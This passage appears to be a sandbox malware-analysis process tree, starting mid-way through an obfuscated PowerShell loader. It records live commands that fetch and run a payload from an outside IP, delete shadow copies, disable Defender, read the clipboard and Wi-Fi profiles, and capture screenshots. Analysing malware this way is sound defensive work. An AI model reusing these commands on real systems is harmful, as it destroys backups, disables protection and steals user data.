ALQBnAGUAIAAwACAALQBhAG4AZAAgACQAZQBuAGQASQBuAGQAZQB4ACAALQBnAHQAIAAkAHMAdABhAHIAdABJAG4AZABlAHgAKQAgAHsAIAAkAHMAdABhAHIAdABJAG4AZABlAHgAIAAd@AD0AIAAkAHMAdABhAHIAdABGAGwAYQBnAC4ATABlAG4AZwB0AGgAOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoAGgAIAA9ACAAJABlAG4AZABJAG4AZABlAHgAIAAtACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAKQA7ACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAAQwBQAFUAIAAtAEQAZQBzAGMAZQBuAGQAaQBuAGcAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAANQAgAHwAIABGAG8AcgBtAGEAdAAtAFQAYQBiAGwAZQAgAE4AYQBtAGUALABDAFAAVQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAB0AHkAcABlACAAPQAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAdABlAHMAdABwAG8AdwBlAHIAcwBoAGUAbABsAC4ASABvAGEAYQBhAGEAYQBhAHMAZABtAGUAJwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABDAFAAVQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAA1ACAAfAAgAEYAbwByAG0AYQB0AC0AVABhAGIAbABlACAATgBhAG0AZQAsAEMAUABVAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGkAbgBqAGUAYwA9ACcAUgBlAGcAQQBzAG0AJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAG0AZQB0AGgAbwBkACAAPQAgACQAdAB5AHAAZQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBsAGYAcwBnAGUAZABkAGQAZABkAGQAZABhACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdACAAKAAnAHQAeAB0AC4AeABBAEwANQBUADAATgAvAHMAZQBsAGkAZgBfAGMAaQBsAGIAdQBwAC8AOAA2ADEALgA2ADIAMgAuADAANgAuADIANgAvAC8AOgAnACwAIAAnADAAJwAsACAAJwAwAE0AVQBpAFIATgBnAEcAdQAnACwAIAAkAGkAbgBqAGUAYwAsACAAJwAwACcAKQApAH0AfQA=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($ddsdgo.replace('d@','r')));iex $OWjuxD"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Ransomware.exeRansomware.exe4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet5⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet6⤵
- Interacts with shadow copies
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\89f8085471984c84baafa725056af4b5_crypted_build.exe89f8085471984c84baafa725056af4b5_crypted_build.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\455a242b9aff43e7bedf7a55309ff8d0_crypted_build.exe455a242b9aff43e7bedf7a55309ff8d0_crypted_build.exe4⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe IMAGES____09494000000034004050066070707070.hta4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\bfd43a6f3a1a4b748ef2d52e64a9d734_crypted_build.exebfd43a6f3a1a4b748ef2d52e64a9d734_crypted_build.exe4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File dadaasads_new.ps14⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Users\Admin\AppData\Local\Update79565\AppInstaller.exe"C:\Users\Admin\AppData\Local\Update79565\AppInstaller.exe" "C:\Users\Admin\AppData\Local\Temp38268\FolderBP.exe"5⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c taskkill /IM cmstp.exe /F >nul 2>&16⤵
-
C:\Windows\system32\taskkill.exetaskkill /IM cmstp.exe /F7⤵
- Kills process with taskkill
-
-
-
C:\Windows\SYSTEM32\cmstp.execmstp.exe /au "C:\Users\Admin\AppData\Local\Temp\cmstp.inf"6⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c taskkill /IM cmstp.exe /F >nul 2>&16⤵
-
C:\Windows\system32\taskkill.exetaskkill /IM cmstp.exe /F7⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\AppData\Local\Update79565\AppInstaller.exe"C:\Users\Admin\AppData\Local\Update79565\AppInstaller.exe" "C:\Users\Admin\AppData\Local\npUpdater\core.exe"5⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c taskkill /IM cmstp.exe /F >nul 2>&16⤵
-
C:\Windows\system32\taskkill.exetaskkill /IM cmstp.exe /F7⤵
- Kills process with taskkill
-
-
-
C:\Windows\SYSTEM32\cmstp.execmstp.exe /au "C:\Users\Admin\AppData\Local\Temp\cmstp.inf"6⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\EvonExcuter.exeEvonExcuter.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\a\EvonExcuter.exeEvonExcuter.exe5⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\a\EvonExcuter.exe'"6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\a\EvonExcuter.exe'7⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend7⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'7⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"6⤵
-
C:\Windows\system32\tasklist.exetasklist /FO LIST7⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"6⤵
-
C:\Windows\system32\tasklist.exetasklist /FO LIST7⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"6⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName7⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"6⤵
- Clipboard Data
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-Clipboard7⤵
- Clipboard Data
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"6⤵
-
C:\Windows\system32\tasklist.exetasklist /FO LIST7⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"6⤵
-
C:\Windows\system32\tree.comtree /A /F7⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profile"6⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
C:\Windows\system32\netsh.exenetsh wlan show profile7⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "systeminfo"6⤵
-
C:\Windows\system32\systeminfo.exesysteminfo7⤵
- Gathers system information
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=7⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\x30ti1pg\x30ti1pg.cmdline"8⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES16CA.tmp" "c:\Users\Admin\AppData\Local\Temp\x30ti1pg\CSCBCF72B5A90284E11B8BC82E9C52E18CD.TMP"9⤵
-
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"6⤵
-
C:\Windows\system32\tree.comtree /A /F7⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"6⤵
-
C:\Windows\system32\tree.comtree /A /F7⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "getmac"6⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\vncce.exevncce.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\1553fbb2b1f945438f2744a16750122c_crypted_build.exe1553fbb2b1f945438f2744a16750122c_crypted_build.exe4⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe#cmd5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 9748 -s 5606⤵
- Program crash
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6548 -s 9765⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\ouQ3iyK.exeouQ3iyK.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\8cIugjZ.exe8cIugjZ.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\svchost015.exe8cIugjZ.exe5⤵
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Tb1kPLU.msi4⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\zrs.exezrs.exe4⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\OU8w9XhHoln2.exe"C:\Users\Admin\AppData\Local\OU8w9XhHoln2.exe"5⤵
-
C:\Users\Admin\AppData\Local\OU8w9XhHoln2.exe"C:\Users\Admin\AppData\Local\OU8w9XhHoln2.exe"6⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\lol.exelol.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exe"C:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exe"5⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File strayedKl.ps14⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\nfEYuOz.exenfEYuOz.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\yfUrA3L.exeyfUrA3L.exe4⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cf12piue.itw"5⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\cf12piue.itw /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\cf12piue.itw\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\cf12piue.itw --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffc911adcf8,0x7ffc911add04,0x7ffc911add106⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\tzny0eok.2a1"5⤵
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe wp.vbs4⤵
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\svchost.js"5⤵
-
C:\Users\Admin\AppData\Local\Temp\fdVS.exe"C:\Users\Admin\AppData\Local\Temp\fdVS.exe"6⤵
-
-
